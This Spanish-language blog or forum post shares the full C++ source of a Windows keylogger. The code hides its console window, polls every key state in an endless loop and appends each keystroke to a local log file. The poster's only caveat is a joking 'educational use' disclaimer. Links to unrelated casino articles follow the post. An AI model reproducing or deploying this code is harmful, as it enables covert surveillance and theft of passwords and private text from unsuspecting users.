[c++] Keylogger

Haciendo una limpieza de disco duro, encontre el código fuente en c++ de un keylogger , no me acuerdo si lo he programado yo o lo encontré en algun lado, la fecha de modificación es del 2009.

No hagáis maldades , es para uso educativo jeje.

#include <iostream> 
using namespace std; 
#include <windows.h> 
#include <winuser.h> 
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
Stealth(); 
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); 
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", ""); 
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}

 

PandaGG
Lok'tar ogar

Dejar respuesta

Please enter your comment!
Please enter your name here

Sponsor

Últimos

Ausländisches Casino Bitcoin: Eine umfassende Analyse für erfahrene Spieler

EinführungIn der heutigen digitalen Welt hat sich das Glücksspiel erheblich verändert, insbesondere mit dem Aufkommen von Kryptowährungen wie Bitcoin. Ausländische Casinos, die Bitcoin als...

Coronavirus disease 2019

COVID-19 is a contagious disease caused by the coronavirus SARS-CoV-2. In January 2020, the disease spread worldwide, resulting in the COVID-19 pandemic. The symptoms of...

favorite article 759359

favorite article 759359

Migliori Casino Online Non AAMS: Cosa Valutare Prima di Registrarsi

IntroduzioneNegli ultimi anni, i casinò online non AAMS hanno guadagnato popolarità tra i giocatori esperti in Italia. Questi siti offrono una vasta gamma di...

Casinos mit schneller Auszahlung: Bearbeitungszeiten und Limits

EinführungIn der Welt der Online-Casinos ist die Geschwindigkeit der Auszahlungen ein entscheidender Faktor für Spieler, insbesondere für Anfänger in Österreich. Die Bearbeitungszeiten und Limits...